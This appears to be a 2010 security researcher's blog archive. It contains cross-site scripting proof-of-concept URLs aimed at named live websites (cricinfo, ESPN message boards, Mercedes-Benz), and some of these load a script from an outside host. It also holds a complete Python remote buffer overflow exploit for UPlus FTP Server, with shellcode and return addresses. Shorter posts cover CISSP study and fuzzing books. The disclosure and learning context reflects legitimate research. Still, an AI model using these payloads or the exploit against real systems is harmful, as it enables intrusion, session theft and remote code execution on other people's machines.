http://www.cricinfo.com/australia/content/quote/index.html?object=2'"/><script>alert("XSS from object")</script>
http://www.cricinfo.com/australia/content/team/2.html?template=fixtures'"/><script>alert("XSS from template")</script>
http://www.cricinfo.com/australia/content/player/country.html?country=2'"/><script>alert("XSS from country")</script>
http://www.cricinfo.com/magazine/content/story/magazine/author.html?genre=366'"/><script>alert("XSS from genre")</script>
http://www.cricinfo.com/magazine/content/story/magazine/author.html?author=29'"/><script/XSS/src=http://ha.ckers.org/xss.js>
http://www.cricinfo.com/magazine/content/current/story/magazine/alltime.html?site_area=5'"/><script/XSS/src=http://ha.ckers.org/xss.js>

ESPN Global Ist Notified: January 2010
IInd Notification: September 06, 2010
Response Received: None
Current Status: Vulnerable (As of today, September 12, 2010)

Note: More URLs / parameters may be vulnerable.

Best Regards.

ESPN Global Cross Site Scripting (XSS)

2010-09-12T01:45:00.001+05:30

+++About ESPN Global+++
http://espn.go.com

+++Affected URL(s)+++
http://boards.espn.go.com

+++Vulnerable Parameter / Function+++
sport
id
nav

+++PoC+++

http://boards.espn.go.com/boards/mb/mb?sport=espn'><script>alert('XSS from sport')</script>&id=index'><script>alert('XSS from id')</script>

ESPN Global Ist Notified: January 2010
IInd Notification: September 06, 2010
Response Received: None
Current Status: Vulnerable (As of today, September 12, 2010)

Best Regards.

UPlus FTP Server v1.7.1.0.1 remote buffer overflow exploit published

2010-07-29T00:35:00.002+05:30

Hi All,

Posted another remote code execution exploit on Exploit-db an hour back. It is published now :-)

###

#!/usr/bin/python
import socket,sys,base64
print """
#
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
    UPlusFTP Server v1.7.1.01 [ HTTP ] Remote BoF Exploit PoC
    Discovered by : Karn Ganeshen
    Author : Karn Ganeshen / corelanc0d3r

    KarnGaneshen [aT] gmail [d0t] com
    http://ipositivesecurity.blogspot.com

    Greetz out to: corelanc0d3r
                    http://corelan.be:8800/index.php
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
#
"""
# Tested on XP Pro SP2 [ Eng ] and XP Pro SP3 [ Eng ]
# Date Found : July 21, 2010
# Vendor notified on July 23, 2010
# Issue fixed and new version 1.7.1.02 released on July 23, 2010
if len(sys.argv) != 5:
    print "Usage: ./poc.py <Target IP> <Port> <User> <Password>"
    sys.exit(1)

target = sys.argv[1]
port = int(sys.argv[2])
user = sys.argv[3]
pwd = sys.argv[4]
auth = base64.b64encode(user+":"+pwd)
buf="A"*1963
buf+="\x90"*179
# 165 bytes Calc.exe shellcode / badchars identified and excluded
buf+=("\xd9\xca\x29\xc9\xb1\x24\xbf\x3f\xc7\x66\x9f\xd9\x74\x24\xf4\x5e"
"\x31\x7e\x17\x03\x7e\x17\x83\xf9\xc3\x84\x6a\xf9\x24\x0c\x95\x01"
"\xb5\x06\xd0\x3d\x3e\x64\xde\x45\x41\x7a\x6b\xfa\x59\x0f\x33\x24"
"\x5b\xe4\x85\xaf\x6f\x71\x14\x41\xbe\x45\x8e\x31\x45\x85\xc5\x4e"
"\x87\xcc\x2b\x51\xc5\x3a\xc7\x6a\x9d\x98\x2c\xf9\xf8\x6a\x73\x25"
"\x02\x86\xea\xae\x08\x13\x78\xef\x0c\xa2\x95\x84\x31\x2f\x68\x71"
"\xc0\x73\x4f\x81\x10\xba\x4f\xed\x1d\xfd\x7f\x68\xe1\x86\x73\xf9"
"\xa2\x7a\x07\x8d\x3e\x2e\x9c\x05\x37\xdb\xaa\x5e\xc7\xab\xad\x60"
"\xc8\x40\xc5\x5c\x97\x67\xe0\xfc\x71\x01\xf4\x7f\xbd\x6a\x55\x17"
"\xce\x07\x51\xb8\x46\x80\xa4\xcc\x99\xe7\xa7\x37\xc6\x66\x34\xd4"
"\x27\x0c\xbc\x7f\x38")
buf+="\x90"*15
#[ XP SP2 ] -> "\x78\x16\xF3\x77"    #0x77F31678 JMP ESP
buf+="\x78\x16\xF3\x77"
#[ XP SP3 ] -> "\x3F\x71\x49\x7E"   #0x7E49713F JMP ESP
#buf+="\x3F\x71\x49\x7E"
buf+="\x90"*30
buf+="\x66\x05\x7A\x03"         #ADD AX,037A
buf+="\x66\x05\x7A\x03"         #ADD AX,037A
buf+="\x66\x05\x7A\x03"         #ADD AX,037A
buf+="\x50\xc3"                 #PUSH EAX + RET
print "[+] Launching exploit against " + target + "..."
head = "GET /list.html?path="+buf+" HTTP/1.1 \r\n"
head += "Host: \r\n"
head += "Authorization: Basic "+auth+"\r\n"

try:
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((target, port))
    s.send(head + "\r\n")
    print "[!] Payload sent..."
    s.close()
except:
    print "[x] Error!"

I actually missed out specifying the bad chars which I excluded while generating the payload. So here they are:

\x0a \x20 \x25 \x26

I should be able to post a video showing how this exploit was prepared & tested. Watch out on this space!

Shoutz to corelanc0d3r! :)

You may also check it out here:

http://www.exploit-db.com/exploits/14496

Update: Advisory published on Secunia -> http://secunia.com/advisories/40771

Best Regards.

2 Remote Buffer Overflow Code Execution Exploits Published

2010-07-19T14:58:00.004+05:30

Hey folks,

As of late, I am reading up on buffer overflows. This is one topic I had been escaping for quite a time. All those hexes \x* , CPU Registers [ eip, esp, ecx, ebx eax ], exploit jargon like sled, nops, jmp et all just didn't made any sense. Until few weeks back when I decided to take it head on / [ me beats his chest and roars! ] :D

<-----Rewind----->Back a few weeks from now

I wanted to start up with something new. Had an idea and started researching on it. It is an interesting subject but there's not much of a 'fresh' learning. So, I put it on a pause for a while and decided to start with BoF. Nevertheless, it's going to be useful to many who are freshers or currently in the Information Security domain ofcourse when I complete it. ;)

After going over half-a-dozen quality articles, ability server & sl mail tutorial by guys over at offsec, I began testing on an open-source ftp server - Easy FTP server v1.7.0.11.

For a perfect noobie in BoF, easyftp server was no easy.. :)

Anyways, in around half a day, I could confirm 2 vuln commands in this application. Working on and off along with work at office, I wrote stable Remote Buffer Overflow command execution exploits for each of these. J

<-----quick snip----->

For those who are new at fuzzing and finding buffer overflows, and are looking for a formal book, here is one that I'd recommend ya:

This is a nice book that would take you through basics of fuzzing, gradually introducing you to several fuzzing frameworks available today.

A good read for anyone wanting to learn fuzzing.

Fuzzing... is the first and only book to cover fuzzing from start to finish, bringing disciplined best practices to a technique that has traditionally been implemented informally. The authors begin by reviewing how fuzzing works and outlining its crucial advantages over other security testing methods. Next, they introduce state-of-the-art fuzzing techniques for finding vulnerabilities in network protocols, file formats, and web applications; demonstrate the use of automated fuzzing tools; and present several insightful case histories showing fuzzing at work.

<-----recent----->

I submitted my exploits over to Exploit-db yesterday [ http://www.exploit-db.com/remote/ ] and later in the day, saw they were confirmed as well. :)

<-----today----->

I feel great at this. Though it's simple, now that I know it, the experience which came out of past few weeks is real learning and very interesting.

You may chose to read my exploits here:

Easy FTP Server v1.7.0.11 LIST Command Remote Buffer Overflow Exploit (Post Auth)

Easy FTP Server v1.7.0.11 MKD Command Remote Buffer Overflow Exploit (Post Auth)

Best Regards.

An interesting truth about what motivates us!

2010-06-21T01:55:00.006+05:30

What Motivates us!

Came across this YouTube video by guys over at RSAnimate. An awesome animation / presentation on the motivating parameters for an individual and how they differ from the expected norms. A good watch...

Best Regards.

To CISSP Aspirants!

2010-06-21T00:21:00.006+05:30

Hi folks,

In June 2009, I cleared ISC2 CISSP exam and posted my CISSP study plan. Since then, I have continuously been receiving comments and requests both on my blog post and offline at my email to share resources which I used to my preparation.

Although I have shared the appropriate websites and forum details in my CISSP Study Plan post above, getting study material together still appears challenging to many candidates. Therefore, I've decided to actively support all you CISSP aspirants through directing you to available study resources.

Request you everyone, please not to ask me for any exam dumps for CISSP study because there aren't any. What I am going to try and help you with would be the study material which you will need in your CISSP preparation.

Please put your request or any concern on my CISSP Study Plan post here http://ipositivesecurity.blogspot.com/2009/06/cissp-my-study-plan.html and I shall try and share the appropriate pointers in this post.

Wish you all the best in your pursuit to CISSP.

Best Regards.

Mercedes Benz Cross Site Scripting (XSS)

2010-06-20T23:58:00.000+05:30

+++About Mercedes Benz+++
http://en.wikipedia.org/wiki/Mercedes-Benz

+++Affected URL(s)+++
http://www.mercedes-benz.com/

+++Vulnerable Parameter / Function+++
'dsc_wdw'

+++PoC+++
Home Page -> Request Brochure
vuln parameter -> @dsc_wdw

+POST Request+
https://e-services.mercedes-benz.com/Dialog_RQB/RQB;jsessionid=0000fct1dbQH_OtagtCR9h9ZhZj:14k117133?subprocess=RQBc_Cars&locale=en_IN&site_locale=en_IN

+Parameters+
dsc_lnk=sn_step2&dsc_pg=p1302&dsc_wdw='<script>alert("Mercedes.Benz Vuln to XSS")</script>&dsc_lnkapx=&historyBack=true&lastPage=p1302a&p1302.mtxCar%5B0%5D%5B0%5D=car002

Mercedes Benz Ist Notified: January 22, 2010
IInd Notification: June 15, 2010
Response Received: None
Current Status: Vulnerable (As of today, June 20, 2010)

Best Regards.